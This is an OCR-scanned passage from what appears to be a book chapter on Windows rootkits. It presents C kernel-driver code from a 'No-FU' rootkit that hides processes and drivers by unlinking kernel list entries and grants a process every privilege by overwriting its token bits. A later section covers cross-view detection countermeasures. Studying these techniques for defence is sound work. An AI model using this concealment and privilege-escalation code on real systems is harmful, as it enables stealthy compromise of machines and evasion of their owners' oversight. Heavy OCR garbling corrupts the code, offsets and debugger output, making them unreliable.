kd> !token 937ffca0 _TOKEN 937ffca0 T5 5ession 10: 0x1 User: 5-1-5-21-983269259-1523584486-2521943681-500 Groups: 00 5-1-5-21-983269259-1523584486-2521943681-513 Attributes - Mandatory Default Enabled 01 5-1-1-0 Attributes - Mandatory Default Enabled 02 5-1-5-32-544 Attributes - Mandatory Default Enabled Owner 03 5-1-5-32-545 Attributes - Mandatory Default Enabled 04 5-1-5-4 Attributes - Mandatory Default Enabled 05 5-1-5-11 Attributes - Mandatory Default Enabled 06 5-1-5-15 Attributes - Mandatory Default Enabled 07 5-1-5-5-0-182773 Attributes - Mandatory Default Enabled Logon1d 08 5-1-2-0 Attributes - Mandatory Default Enabled 09 5-1-5-64-10 Attributes - Mandatory Default Enabled 10 5-1-16-12288 Attributes - Group1ntegrity Group1ntegrityEnabled Primary Group: 5-1-5-21-983269259-1523584486-2521943681-513 Privs: 04 0xeeeeeeee4 5eLockMemoryPrivilege Attributes 05 0xeeeeeeee5 5e1ncreaseQuotaPrivilege Attributes 08 exeeeeeeee8 SeSecurityPrivilege Attributes 09 0xeeeeeeee9 5eTakeOwnershipPrivilege Attributes 10 0xeeeeeeeea 5eLoadOriverPrivilege Attributes 11 0xeeeeeeeeb 5e5ystemProfilePrivilege Attributes 12 0xeeeeeeeec 5e5ystemtimePrivilege Attributes 13 0xeeeeeeeed 5eProfile5ingleProcessPrivilege Attributes 14 0xeeeeeeeee 5e1ncreaseBasePriorityPrivilege Attributes 15 exeeeeeeeef 5eCreatePagefilePrivilege Attributes 17 0xeeeeeee11 5eBackupPrivilege Attributes 18 0xeeeeeee12 5eRestorePrivilege Attributes 19 0xeeeeeee13 5e5hutdownPrivilege Attributes
Port II 1421
Attributes 2a axeeeeeee14 SeOebugPrivilege Attributes 22 axeeeeeee16 SeSystemEnvironmentPrivilege 23 axeeeeeee17 SeChangeNotifyPrivilege Attributes Attributes 24 axeeeeeee18 SeRemoteShutdownPrivilege Attributes 25 axeeeeeee19 SeUndockPrivilege Attributes 28 axeeeeeeelc SeManageVolumePrivilege 29 axeeeeeeeld 5eImpersonatePrivilege Attributes Attributes 3a axeeeeeeele SeCreateGlobalPrivilege 33 axeeeeeee21 SeIncreaseWorkingSetPrivilege Attributes 34 axeeeeeee22 SeTimeZonePrivilege Attributes 35 axeeeeeee23 SeCreateSymbolicLinkPrivilege Attributes (a,2ca26) Authentication ID: Impersonation Level: Impersonation TokenType: Primary TokenFlags: axa ( Token in use) Source : User32 Token ID: 39164 ParentToken ID: a Modified ID: (a, 3916f) RestrictedSidCount: a RestrictedSids: eeeeeeee DriginatingLogonSession: 3e7
4221
Part II
when a process terminates the operating system will want to adjust the neighboring EPROCESS objects to reflect the termination. Once we've hidden a process, its EPROCESS block doesn't have any neighbors. If we set its links to null, or leave them as they were, the system may blue screen. In general, it's not a good idea to feed parameters to a kernel operation that may be garbage. As mentioned earlier, the kernel has zero idiot-tolerance and small inconsistencies can easily detonate into full-blown bug checks.
Figure 7-5 Assuming we've removed an EPROCESS object from the list of processes, how can this process still execute? If it's no longer part of the official list of processes, then how can it be scheduled to get CPU time? Aha! That's an excellent question. The answer lies in the fact that Windows preemptively schedules code for execution at the thread level ofgranularity, not at the process level. In the eyes of the kernel's dispatcher, a process merely provides a context within which threads can run. For example, if process X has two runnable threads and process Y has four runnable threads, the kernel dispatcher recognizes six threads total, without regard to which process a thread belongs to. Each thread will be given a slice of the processor's time, though these slices might not necessarily be equal (the scheduling algorithm is priority-driven such that threads with a higher priority get more processor time). What this implies is that the process-based links in EPROCESS are used by tools like the Task Manager and tasklist. exe on a superficial level, but that
Port II
1423
II
the kernel's dispatcher uses a different bookkeeping scheme that relies on a different set of data structures (most likely fields in the ETHREAD object). This is what makes Jamie's DKOM technique so impressive. It enables concealment without loss of functionality. The code in No-FU that hides tasks starts by locking access to the doubly-linked list of EPROCESS structures using the IRQL approach explained earlier in the book.
void HideTask(DWORD* pid)
{
K1RQL irql; PKDPC dpcptr; irql = Raise1RQL(); dpcptr = AcquireLock(); modifyTaskList( *pid); ReleaseLock(dpcptr); Lower1RQL (irql) ; return; }/*end HideTask()------------ --------------------------------------------- -*/
Once exclusive access has been acquired, the modi fyTaskList() routine is invoked.
void modifyTaskList(DWORD pid)
{
BYTE* currentPEP = NULL; BYTE* nextPEP = NULL; int currentP1D = 0; int startP1D = 0; BYTE name[SZ_EPROCESS_NAME]; int fuse = 0; const int BLOWN = 1048576;
//pointer to current EPROCES5 //pointer to next EPROCESS //current process 1D //original process 1D (halt value) //stores process name //used to prevent an infinite loop //trigger value
modifyTaskListEntry(currentPEP); DBG_PR1NT2 (""modHyTaskList: Search [Done] PID=%d Hidden \n" , pid) ; return;
424
Pa rt II
while(startPID != currentPID)
{
if(currentPID==pid)
{
modifyTaskListEntry(currentPEP); DBG_PRINT2("modifyTaskList: Search[Donej PID=%d Hidden\n",pid); return; nextPEP = getNextPEP(currentPEP); current PEP = nextPEP; currentPID = getPID(currentPEP); getTaskName(name,(currentPEP+EPROCESS_OFFSET_NAME)); fuse++; if(fuse==BLOWN){return;}
DBG_PRINT2(" %d Tasks Listed\ n" ,fuse); DBG_PRINT2("modifyTaskList: Search[Donej ... No task found with PID=%d\n",pid); return; }/'end modifyTaskList()----------------------------------------------------'/
This function fleshes out the steps described earlier. It gets the current EPROCESS object and uses it as a starting point to traverse the entire linked list of EPROCESS objects until the structure with the targeted PID is encountered. If the entire list is traversed without locating this PID, or if the fuse variable reaches its threshold value (indicating an infinite loop condition), the function returns without doing anything. If the targeted PID is located, the corresponding object's links to its neighbors are adjusted using the modifyTaskListEntry() function.
void modifyTaskListEntry(BYTE* currentPEP)
{
BYTE' prevPEP =NULL; BYTE* nextPEP =NULL; int int int currentPID prevPID nextPID =8; =8; =8;
LIST_ENTRY' current ListEntry; LIST_ENTRY' prevListEntry; LIST_ENTRY' next ListEntry; currentPID = getPID(currentPEP); prevPEP = getPreviousPEP(currentPEP); prevPID = getPID(prevPEP); nextPEP = getNextPEP(currentPEP);
Port II
1425
nextPID
getPIDCnextPEP)j
currentlistEntry = CClIST_ENTRY*)CcurrentPEP + EPROCESS_OFFSET_lINKSj prevlistEntry = CClIST_ENTRY*)CprevPEP + EPROCESS_OFFSET_lINKSj nextlistEntry = CClIST_ENTRY*)CnextPEP + EPROCESS_OFFSET_lINKSj C*prevlistEntry).Flink C*nextlistEntry).Blink
= nextlistEntryj = prevlistEntryj
Both of these functions draw from a set of utility routines and custom macro definitions to get things done. The macros are not set to fix values, but rather global variables so that the code can be ported more easily from one Windows platform to the next.
#define #define #define #define EPROCESS_OFFSET_PID EPROCESS_OFFSET_NAME EPROCESS_OFFSET_lINKS SZ_EPROCESS_NAME Offsets . ProcPID Offsets.ProcName Offsets.Proclinks ex919 //offset to PID CDWORD) //offset to name[16] //offset to lIST_ENTRY //16 bytes
NUllj
= NUllj
listEntry = *CClIST_ENTRY*)CcurrentPEP + EPROCESS_OFFSET_lINKSj flink = CBYTE *)ClistEntry .Flink)j nextPEP = Cflink - EPROCESS_OFFSET_lINKS)j returnCnextPEP)j }/*end getNextPEPC)--------------------------------------------------------*/ UCHAR* getPreviousPEPCBYTE* currentPEP)
{
= =
NUllj NUllj
listEntry = *CClIST_ENTRY*)CcurrentPEP + EPROCESS_OFFSET_lINKSj blink = CBYTE *)ClistEntry.Blink)j prevPEP = Cblink - EPROCESS_OFFSET_lINKS)j returnCprevPEP)j }/*end getPreviousPEPC)----------------------------------------------------*/
426
Po rt II
As you read through this code, there's one last point worth keeping in mind. A C structure is nothing more than a composite of fields. Thus, the address of a structure (which represents the address of its first byte) is also the address of its first field (i.e., Flink); which is to say that you can reference the first field by simply referencing the structure. This explains why, in Figure 7-6, the pointers that reference a LIST_ENTRY structure actually end up pointing to Flink.
typedef struct _LIST_ENTRY
{
struct _LIST _ENTRY ' Fli nk; struct _LIST_EN TRY ' Blink; }LI ST_EN TRY, *PLIST_ENTRY; gentry LIST_ENT RY entry; _ : . ==
Figure 76
As I observed at the beginning of this chapter, this is all about pointer arithmetic and reassignment. If you understand the nuances of pointer arithmetic in C, none of this should be too earthshaking. It just takes some getting used to. The hardest part is isolating the salient fields and correctly calculating their byte offsets (as one mistake can lead to a blue screen). Thus, development happens gradually as a series of small successes, until that one triumphant moment when you get a process to vanish. One way to see this code in action is with the tasklist.exe program. Let's assume we want to hide a command console that has a PID of 2864. To view the original system state:
Port II 1427
1 1 1
2,280 K
1,784 K 1,784 K
Once our rootkit code has hidden this process, the same command will produce:
C:\>tasklist : findstr cmd cmd.exe cmd .exe 2728 Console 2056 Console
1 1
2,280 K
1,784 K
428 / Part II
Figure 7-7
Unlike threads, drivers are not scheduled for execution_They're loaded into kernel space where their code sits waiting for customers. Threads may meander in and out of driver routines over the course of their execution path. This means that we can remove DRIVER_SECTION objects from the doublylinked list without breaking anything. Once a driver has been loaded into memory, the link list seems more of a bookkeeping mechanism than anything else. The code that implements all this is a fairly low-impact read. The bulk of it is devoted to Unicode string manipulation. The HideDriver() function accepts the name of a driver (as a null-terminated array of ASCII characters) and then converts this to a Unicode string to search for a match in the linked list of DRIVER_SECTION structures. If no match is found, the routine returns unceremoniously.
void HideDriver(BYTE" driverName)
{
Port II
1429
ifCretVal != STATUS_SUCCESS)
{
removeDriverCcurrentOS)j returnj
}
match = RtlCompareUnicodeString
C
ifCmatch==9)
{
removeDriverCcurrentOS)j returnj currentOS = CDRIVER_SECTION*)CC*currentOS).listEntry).Flinkj RtlFreeUnicodeStringC&uOriverName)j DBG_PRINT2C"[HideDriver): Driver C%s) NOT found",driverName)j returnj }/*end HideDriverC)--------------------------------------------------------*/
The code that extracts the first DRIVER_SECTION structure uses a global variable that was set over the course of the Dri verEntry () routine (i.e.,
Dri verObj ectRef).
DRIVER_SECTION* getCurrentDriverSectionC)
{
BYTE* objectj DRIVER_SECTION* driverSectionj object = CUCHAR*)DriverObjectRefj driverSection = *CCPDRIVER_SECTION*)CCDWORO)object+OFFSET_DRIVERSECTIONj returnCdriverSection)j }/*end getCurrentDriverSectionC)--------- - --------------------------------- */
430
Part II
There is one subtle point to keep in mind. Notice how I delay invoking the synchronization code until the moment I'm ready to rearrange the link pointers in the removeDriver() function. This has been done because the Unicode string comparison routine that we employ to compare file names (i.e., RtlCompareUnicodeString()) can only be invoked by code running at the PASSIVE IRQ level.
void removeDriver(DRIVER_SECTION* currentDS)
{
LIST_ENTRY* prevDS; LIST_ENTRY* nextDS; KIRQL irql; PKDPC dpcptr; irql = RaiseIRQL(); dpcptr = AcquireLock(); prevDS = *currentDS).listEntry).Blink; nextDS = *currentDS).listEntry).Flink; (*prevDS).Flink = nextDS; (*nextDS).Blink = prevDS; *currentDS).listEntry).Flink = (LIST_ENTRY*)currentDS; *currentDS).listEntry).Blink = (LIST_ENTRY*)currentDS; ReleaseLock(dpcptr); LowerIRQL(irql) ; return; }/*end removeDriver()------------------------------------------------------*/
The best way to see this code work is by using the drivers. exe tool that ships with the WDK. For example, let's assume we'd like to hide a driver named srv3. sYS. Initially, a call to drivers. exe will yield:
C:\WinDDK\6009\tools\other\i386>drivers : findstr srv srvnet.sys 61440 4096 9 29489 8192 srv2.sys 119S92 4096 9 16384 8192 srv.sys 53248 8192 9 2e48ee 12288 srv3.sys 12288 4996 9 9 4996 Fri Fri Fri Sat Jan Jan Jan Aug 18 18 18 99 21:29:11 21:29:14 21:29:25 13:29:17 2ee8 2ee8 2ee8 2ee8
Once the driver has been hidden, this same command will produce the following output:
C:\WinDDK\6009\tools\other\i386>drivers : findstr srv 4096 9 29489 8192 Fri Jan 18 21:29:11 2ee8 srvnet.sys 61440 srv2.sys 119592 4996 8192 Fri Jan 18 21:29:14 2ee8 9 16384 srv.sys 53248 8192 9 2e48ee 12288 Fri Jan 18 21:29:25 2ee8
Port II 1431
KIRQL irql; PK dpcptr; DPC irql = RaiseIRQL( ); dpcptr = AcquireLock(); ScanTaskList( *pid); ReleaseLock(dpcptr); LowerIRQL(irql) ; return; }/*end ModifyToken()-------------------------------------------------------*/
The ScanTaskList () function accepts a PID as an argument and then uses this PID to traverse through the doubly-linked list of EPROCESS objects. If an EPROCESS structure is encountered with a matching PID value, we process the TOKEN object referenced within the EPROCESS object.
void ScanTaskList(DWORD pid)
{
BYTE* currentPEP = NULL; BYTE* nextPEP = NULL; int currentPID = 0; int startPID = 0; BYTE name[SZ_EPROCESS_NAME]; int f use = 0; const int BLOWN = 4096; currentPEP = (BYTE*) PsGetCurrentProcess(); currentPID = getPID(currentPEP); startPID = currentPID; if(currentPID==pid)
{
processToken(currentPEP); return;
432
Part II
if(currentPID==pid)
{
processToken(currentPEP); return;
= getNextPEP(currentPEP) ; next PEP currentPEP = nextPEP; currentPIO = getPIO(currentPEP); fuse++; if( fuse==BLCWl){ return;
}
return; }/*end ScanTaskList()- - --- ------------------ ---- ---- --- ---- --- ----- -- - - -- -- */
The processToken () function extracts the address of the TOKEN object from the EPROCESS argument and performs the address fix-up by setting the lowest-order three bits to zero. Then it references this address to manipulate the _SEP_TOKEN_PRIVILEGES substructure. Basically, this code flips all of the privilege bits on, so that all privileges are present and enabled.
#define #define #define #define EPROCESS_OFFSET_TOKEN TOKEN_OFFSET_PRIV TOKEN_OFFSET_ENABLEO TOKEN_OFFSET_OEFAULT Offsets.Token Offsets.PrivPresent Offsets . PrivEnabled Offsets.PrivOefaultEnabled
UCHAR *token_address; UCHAR *address; DWORO addressWORO; unsigned __int64 *bigP; address = (currentPEP+EPROCESS_OFFSET_TOKEN) ; addressWORO = *DWORO*)address); addressWORD = addressWORO & axfffffffS; token_address = (BYTE*)addressWORO;
/*
Recall ax04a Privileges: struct _SEP_TOKEN_PRIVILEGES, 3 elements, axIS bytes +axaaa Present +axOOS Enabled +axaia EnabledByOefault
*/
Po rt II
I 433
bigP = (unsigned __int64 *)(token_address+TOKEN_OFFSET_ENABLED)j *bigP = 0xffffffffffffffff j bigP = (unsigned __int64 *)(token_address+TOKEN_OFFSET_DEFAULT)j *bigP = 0xfFFFFFfFfFFfFfFFj returnj }/*end processToken() -------------------------------------------------- -- - -*/
Originally, the macros in the previous code snippet represented hard-coded values. For the sake of portability, I have modified the macros so that they represent global variables. One way to see the results of this code is with the Process Explorer utility from Sysinternals. If you right-click on a specific process, one of the context-sensitive menu items will display a Properties window. The Properties window for each process has a Security tab pane that lists the privileges that have been granted. After the access token of a process has been modified by No-FU, all ofthe privileges should be set to Default Enabled (see Figure 7-8).
.cmd._'_
'"_
~(;Qjj
~Gr""
-i'<tr..~"
5ea.nty I"I'Iefsanctun'l\Sysop
TCP/TP
SID:
-,...,.",
TlY.ads 5"'9
! ,"",
Gn>..o>
5-1 -5-21-981269259-152JS8.a6-25219<!:1681-SOO No
SesSIOn: 1
..........,
R.., 0._
Mondot"" Mondot"" Mondot""
_""
~
.
[!J
-""
BJ
1
,
=:.......,ToItenPlMege
SeA.dI PIMege s._PIMege
SeCNnoo_
s.u..teGlobolPlMege s.v..t.PooeflePlMege
SeQeaePermanercPnWege
-,-
"--
R.., DeI... ENbIod Del'" Enabled Del... ENbIod Del... Enabled Del... ENbIod Oet... ENbIod Oet... ENbIod
I eem--. I
'"
CLJ
Figure 7-8
434
Part II
Two of the five commands (It and 1m) were actually warm-up exercises during the development phase. As such, they produce output that is only visible from the debugger console. To handle platform-specific issues, there's a routine named checkOSVersion() that's invoked when the driver is loaded. It checks the major and minor version numbers of the operating system to see which platform the code is running on and then adjusts the members of the Offsets structure accordingly.
Table 72
, Malar Version 4 Minar V ersion Platform Windows NT Windows 2000 Windows XP (x32) Windows Server 2003, Windows XP (x64) Windows Vista, Windows Server 2008
0
1
_.
5 5 5
6
2 0
void check05Version()
{
case(4):
{
2003")j
DBG_TRACE('"check05Version'",'"05=Vista, Server Offsets.isSupported = TRUEj Offsets. ProcPID Offsets.ProcName Offsets.ProcLinks Offsets. DriverSection Offsets.Token
= 0x99Cj
2008'")j
Port II
1435
Offsets.nSIDs = exe78j Offsets.PrivPresent = ex949j Offsets.PrivEnabled = ex048j Offsets.PrivDefaultEnabled = exesej }breakj default:{ Offsets.isSupported = FALSEj }
}
Later on in the rootkit, before offset-sensitive operations are performed, the following function is invoked to make sure that the current platform is kosher before pulling the trigger, so to speak.
BOOLEAN isOSSupported()
{
Granted, my implementation is Mickey Mouse and only handles Vista! Windows Server 2008. What this is intended to do is demonstrate what a framework might look like if you were interested in running on multiple platforms. The basic idea is to herd your hard-coded offset values into a single, well-known spot in the KMD so that adjustments can be made without touching anything else. As the old computer science adage goes: "State each fact only once." This effectively insulates the user-mode portion of the rootkit from platform-specific details; it sends commands to the KMD without regard to which version it's running on.
7.9 Countermeasures
Tweaking kernel objects is a powerful technique, but as every fan of David Carradine will tell you: Even the most powerful Gong Fu moves have countermoves. In the following discussion we'll look at a couple of different tactics that the White Hats have developed.
Cross-View Detedion
One way to defend against kernel object modification at run time is known as
cross-view detection . This approach relies on the fact that there are usually
several ways to collect the same information. As a demonstration, I'll start with a simple example. Let's say we crank up an instance of Firefox to do some web browsing. If I issue a tasklist. exe command, the instance of Firefox is visible and has been assigned a PID of 1680.
436
Part II
24,844 K
Next, the No-FU rootkit can be initiated and the instance of Firefox can be hidden:
C:\Users\admin\Desktop\No-FU\Kmd>dstart C:\Users\admin\Desktop\No-FU\usr>usr ht 1680
If we invoke tasklist. exe again, we won't see firefox. exe. However, if we run the netstat. exe command, the instance of Firefox will still be visible. We've been rooted!
C:\Users\admin>netstat -a -b -n -0 TCP 127.9.9.1:49796 127.9.9.1:49797 [firefox.exe] TCP 127.9.9.1:49797 127.9.9.1:49796 [firefox.exe] TCP 127.9.9.1:49798 127.9.9.1:49799 [firefox.exe] ESTABLISHED ESTABLISHED ESTABLISHED 1680 1680 1680
Cross-view detection typically utilizes both high-level and low-level mechanisms to collect information. The high-level data snapshot depends upon standard system calls to enumerate objects (e.g., processes, drivers, files, registry entries, ports, etc.). The low-level data snapshot is acquired by sidestepping the official APIs in favor of accessing the system objects directly. The reasoning behind this is that existing APIs can be hooked, or detoured, and made to lie. As any veteran journalist will tell you, the most accurate way to get reliable information is to go to the source. If a system has been compromised, discrepancies may show up between the high-level and low-level snapshots that indicate the presence of an unwelcome visitor.
Port II 1437
II
nProc=a; do printf("pid[%94d) = %S\n",procEntry.th32ProcessID,procEntry.szExeFile); nProc++; }while(Process32Next(snapShotHandle,&procEntry; printf("nProc = %d\n",nProc); CloseHandle(snapShotHandle); return; }/*end snapShotList()------------------------------------------------------*/
>
This same CreateToolhelp32Snapshot() API can be used to enumerate the threads running within the context of a specific process.
void ListThreadsByPID(DWORD pid)
{
HANDLE snapShotHandle; THREADENTRY32 thread Entry; BOOL isValid; snapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, a); if(snapShotHandle == INVALID_HANDLE_VALUE)
{
438
Po rl II
CloseHandle(snapShotHandle); return;
}
do if(threadEntry.th320WnerProcessIO == pid)
{
[).,ORO tid; tid = threadEntry.th32ThreadIO; printf("Tid = 8x%e8X, %u\ n", tid, tid); }while(Thread32Next(snapShotHandle, &threadEntry; CloseHandle(snapShotHandle) ; return; }/*end ListThreadsByPIO()---------------- ------------------------ - - - --- - - - -*/
procHandle = OpenProcess
(
if(procHandle!=NULL)
{
procHandle, NULL,
);
Port"
1439
By the way, there's nothing really that complicated about handle values. Handles aren't instantiated as a compound data structure. They're really just void pointers, which is to say that they're integer values (you can verify this by looking in winnt. h).
typedef PVOID fWVLE;
Process handles also happen to be numbers that are divisible by four. Thus, the PIDB algorithm only looks at the values in the following set: { exe, ex4, ex8, exc, exle, .. , ex4E1C}. This fact is reflected by the presence of the PID_INC macro, which is set to ex4. The tricky part about PIDB isn't the core algorithm itself, which is brain-dead simple. The tricky part is setting up the invoking program so that it has debug privileges. If you check the OpenProcess () call, you should notice that the specified access (PROCESS_ALL_ACCESS) offers a lot of leeway. This kind of access is only available if the requesting process has acquired the SeDebugPri vilege right. Doing so requires a lot of work from the perspective of a developer; there's a ton of staging that has to be performed. Specifically, we can begin by trying to retrieve the access token associated with the current thread.
isValid = OpenThreadToken
(
If we're not able to acquire the thread's access token outright, we'll need to take further steps by obtaining an access token that impersonates the security context of the calling process.
if(! isValid)
{
if(GetLastError()==ERRDR_ND_TOKEN)
{
if(!isValid){ return; }
}
440
Port II
Once we have the access token to the process in hand, we can adjust its privileges.
The SetPrivilege() routine is a custom tool for modifying access tokens. Most of its functionality is implemented by the AdjustTokenPrivileges() API call. We call this function twice within SetPrivilegeO.
BOOL SetPrivilege
(
TOKEN_PRIVILEGES tokPrivNew; TOKEN_PRIVILEGES tokPrivOld; LUID luid; DWORD nPrivBytes=sizeof(TOKEN_PRIVILEGES); BOOL isValid; isValid = LookupPrivilegeValue(NULL, privilege, &luid); if( !isValid){ return FALSE; }
II get current settings (init all attributes to "off") tokPrivNew.PrivilegeCount = 1; tokPrivNew.Privileges[ej.Luid = luid; tokPrivNew.Privileges[ej.Attributes = e;
AdjustTokenPrivileges
(
Part II
1441
tokPriVOld.Privileges[e).Attributes
}
:=
(SE_PRIVIlEGE_ENABlEO);
AdjustTokenPrivileges
(
if(GetlastError() != ERROR_SUCCESS){ return FALSE; } retum(TRUE); }/*end SetPrivilege()------------------------------------- --- ------ --------* /
> Note:
One way to obtain a list of running processes is by using the handle tables associated with them. In Windows, each process maintains a table that stores references to all of the objects that the process has opened a handle to. The address of this table (known internally as the ObjectTable) is located at an offset of exedc bytes from the beginning of the process's EPROCESS block. You can verify this for yourself using a kernel debugger.
4421 Port II
kd> dt nt!_EPROCESS ntdll!_EPROCESS +exOO0 Pcb +ex08e Process lock +exesa CreateTime +exec8 +exacc +exed4 +exed8 +exed8 +exed8 VirtualSize SessionProcesslinks DebugPort ExceptionPortData ExceptionPortValue ExceptionPortState
: _KPROCESS : _EX_PUSH_lOCK : _LARGE_INTEGER : Uint4B : _LIST_ENTRY ptr32 Void ptr32 Void Uint4B Pos a J 3 Bits
: Ptr32 _HANDLE_TABLE
+OxOdc Ob]ectTable
+exgee Token
Each handle table object stores the PID of the process that owns it (at an offset of 8x888 bytes) and also has a field that references to a doubly-linked list of other handle tables (at an offset of 8x818 bytes). As usual, this linked list is implemented using the LIST_ENTRY structure.
kd> dt nt!_HANDlE_TABlE +exOO0 TableCode +ex904 QuotaProcess
+Ox008 UnlqueProcessld
+exOOc Handlelock
+OxOlO HandleTableLlst
: _EX_PUSH_lOCK ptr32 _HANDlE_TRACE_DEBUG_INFO Int4B Uint4B Pos a J 1 Bit Int4B ptr32 _HANDLE_TABLE_ENTRY Int4B
Thus, to obtain a list of running processes, we start by getting the address of the current EPROCESS block and using this address to reference the current handle table. Once we have a pointer to the current handle table, we access the LIST_ENTRY links embedded in it to initiate a traversal of the linked list of handle tables. Because each handle table is mapped to a distinct process, we'll indirectly end up with a list of running processes.
#define OFFSET_EPROCESS_HANDlETABlE #define OFFSET_HANDlE_lISTENTRY #define OFFSET_HANDlE_PID DWORO getPID(BYTE* current)
{
Part II
1443
PEPROCESS process; BYTE* start; BYTE* address; DWORO pid; DWORO nProc; process = PsGetCurrentProcess(); address = (BYTE*)process; address = address + OFFSET_EPROCESS_HANOLETABLE; start = (BYTE*)(*IMJRO*)address; pid = getPIO(start); OBG_PRINT2 ("traverseHandles (): [%04d J",pid) ; nProc=l; address = getNextEntry(start,OFFSET_HANOLE_LISTENTRY); while(address!=start)
{
pid = getPIO(address); DBG_PRINT2 ("traverseHandles (): [%04d J",pid) ; nProc++; address = getNextEntry(address,OFFSET_HANDLE_LISTENTRY);
}
The previous code follows the spirit of low-level enumeration. There's only a single system call that gets invoked (PsGetCurrentProcess ( )).
4441 Portll
: : : :
The ThreadListHead field is a LIST_ENTRY structure whose Flink member references the ThreadListEntry field in an ETHREAD object (at an offset of ex248 bytes). The offset of this field can be added to the Flink pointer to yield the address of the firs t byte of the ETHREAD object.
kd> dt nt! _ETHREAD +0x000 Tcb +0xle0 CreateTime +0xl e8 ExitTime +0x2e0 +0x204 +0x20c +0x2l4 : KTH READ : _lARGE_INTEGER : _lARGE_INTEGER
Act i veTimerLi stLock : Uint48 ActiveTimerListHead _LIST_ENTRY CId : CLIENT ID KeyedWai tSemaphore _KSEMAPHORE ptr32 Void ptr32 Voi d : _LIST_ENTRY
Given the address of the ETHREAD object, we can determine the ID of both the thread and the owning process by accessing the Cid field (as in client ID), which is a substructure located at an offset of ex2ec bytes in the ETHREAD object.
typedef struct _CID
{
The ETHREAD object's first field just happens to be a KTHREAD substructure. This substructure contains a LIST_ENTRY structure (at an offset of exlc4 bytes) that can be used to traverse the list of thread objects that we were originally interested in.
kd > dt nt! _KTHREAD +0xeee Header +0xlc0 SLi stFaultCount : _DISPATCHER_HEADER : Uint4B
Port II 1445
+0x1(4
ThreadListEntry
: _LIST_ENTRY
+9x1cc MutantListHead
: _LIST_ENTRY
We can use a kernel debugger to demonstrate how this works in practice. Let's say we're interested in the Local Session Manager process (Ism. exe), which just happens to have a PID of 0x248. Using the! process command, we find that the address of the corresponding EPROCESS object is 0x84cb1538.
kd> !process 248 0 Searching for Process with Cid == 248 PROCESS 84cb1538 SessionId: 0 Cid: 0248 Peb: 7ffdceee ParentCid: 01e4 DirBase: 267feeee ObjectTable: 8f87d8e0 HandleCount: 157. Image : lsm.exe
The LIST_ENTRY referencing an ETHREAD object is at an offset of 0x168 bytes from this address.
kd> dt nt!_LIST_ENTRY 84cb16a0 [ 0x84cb2278 - ex838487b8 1 +9xeee Flink : ex84cb2278 _LIST_ENTRY [ 0x84d4fdb8 - 0x84cbl6a0 1 +9x904 Blink : 0x838487b8 _LIST_ENTRY [ 0xd44e0 - exe 1
From the previous command, we can see that the Flink in this structure stores the address 0x84cb2278, which points to a LIST_ENTRY field that's 0x248 bytes from the start of an ETHREAD object. This means that the address of the ETHREAD object is 0x84cb2030, and also that the LIST_ENTRY substructure (at an offset of 0xlc4 bytes) in the associated KTHREAD is at address
0x84cb21 f4.
Knowing all of this, we can print out a list of [PID] [eID] double-word pairs using the following debugger extension command:
kd> !list 84cb223c 84d6123c 84d6lf84 84d8e754 84d73f84 84d8623c 84d9f744 84da483c 83426f84 8384877c -x "dd Ic 2 @$extret+9x48 L2" 84cb2lf4 eeeee248 eeeee24c (in decimal, TID == 588) eeeee248 eeeee35c (in decimal, TID == 860) (in decimal, TID == 864) eeeee248 eeeee360 eeeee248 eeeee364 (in decimal, TID == 868) (in decimal, TID == 876) eeeee248 eeeee36c eeeee248 eeeee388 (in decimal, TID == 904) eeeee248 eeeee39c (in decimal, TID == 924) eeeee248 eeeee3c8 (in decimal, TID == 968) eeeee248 eeeeea98 (in decimal, TID == 2712) eeeeeeee eeecb490 (PID==0, terminating entry)
4461 PorI II
THREAD 84cb2838 Cid 8248.824c Teb: 7ffdfeee Win32Thread: ffa179d8 84dldeee NotificationEvent THREAD 84d61838 Cid 8248.83Sc Teb: 7ffddeee Win32Thread: 84d61244 Semaphore Limit 8xl THREAD 84d61d78 Cid 8248.8368 Teb: 7ffdbeee Win32Thread: 84d68218 SynchronizationTimer 84df4Se8 ProcessObject 84bdbdge ProcessObject 84c88dge ProcessObject 84c83dge ProcessObject THREAD 84d8e548 Cid 8248.8364 Teb: 7ffdaeee Win32Thread: 84d8e7Sc Semaphore Limit 8xl THREAD 84d73d78 Cid 8248.836c Teb: 7ffdge80 Win32Thread: 84d73f8c Semaphore Limit 8xl THREAD 84d86838 Cid 8248.8388 Teb: 7ffd7eee Win32Thread: 84d86244 Semaphore Limit 8xl THREAD 84d9fS38 Cid 8248.839c Teb : 7ffd6e0e Win32Thread: 84d72cS8 SynchronizationEvent THREAD 84da4638 Cid 8248.83c8 Teb: 7ffdSeee Win32Thread: 84d7S498 SynchronizationEvent 84d8S748 SynchronizationEvent 84d8S718 SynchronizationEvent 84d76b18 SynchronizationEvent 84d76ae8 SynchronizationEvent THREAD 83426d78 Cid 8248.8a98 Teb: 7ffd8eee Win32Thread: 84dSe918 QueueObject 83426ee0 NotificationTimer
eeeeeeee eeeeeeee
eeeeeeee
This is the abbreviated version of the steps that I went through while I was investigating this technique. While these steps may seem a little convoluted, it's really not that bad (for a graphical depiction, see Figure 7-9). Most of the real work is spent navigating our way to the doubly-linked list of ETHREAD objects. Once we've got the list, the rest is a cakewalk. The basic series of steps can be implemented in a KMD using approximately 150 lines of code. In general, the legwork for a kernel object hack will begin in the confines of a tool like Kd. exe. Because many kernel objects are undocumented, you typically end up with theories as to how certain fields are used. Naturally, the name of the field and its data type can be useful indicators, but nothing beats firsthand experience. Hence, the kernel debugger is a laboratory where you can test your theories and develop new ones.
Port II 1447
_KPROCESS
~~2 14 Keyedl-JaitSemaphore
~248
Thr dListEnt ry
nt I _KTHR EAD
+9x000 Header _DISPATCHER_HEADE R
.a.ala CycleTime
lc4 ThraadListEntry
Uint8B
_DISPATCHER_HEADER
Uint8B
_DISPATCHER_HEADER
Uint8B
Figure 7-9 Now let's look at a source code implementation of this algorithm. Given a specific PID, the following function returns a pointer to the corresponding EPROCESS object:
BYTE getEPROCESS(DWORO pid)
{
BYTE current PEP = NJLLj BYTE nextPEP = NJLLj int currentPID = 9j int startPID = 9j BYTE name[SZ_EPROCESS_NAME]j int fuse = 9j //prevents infinite loops canst int BLOWN = 1948576j currentPEP = (BYTE)PsGetCurrentProcess()j currentPID = getEprocPID(currentPEP)j getTaskName(name,(currentPEP+EPROCESS_OFFSET_NAMEj startPID = currentPIDj DBG_PRINT3("getEPROCESSO: %s [PID(%d)] :\n",name,currentPID)j if(startPID==pid)
{
448
PorI II
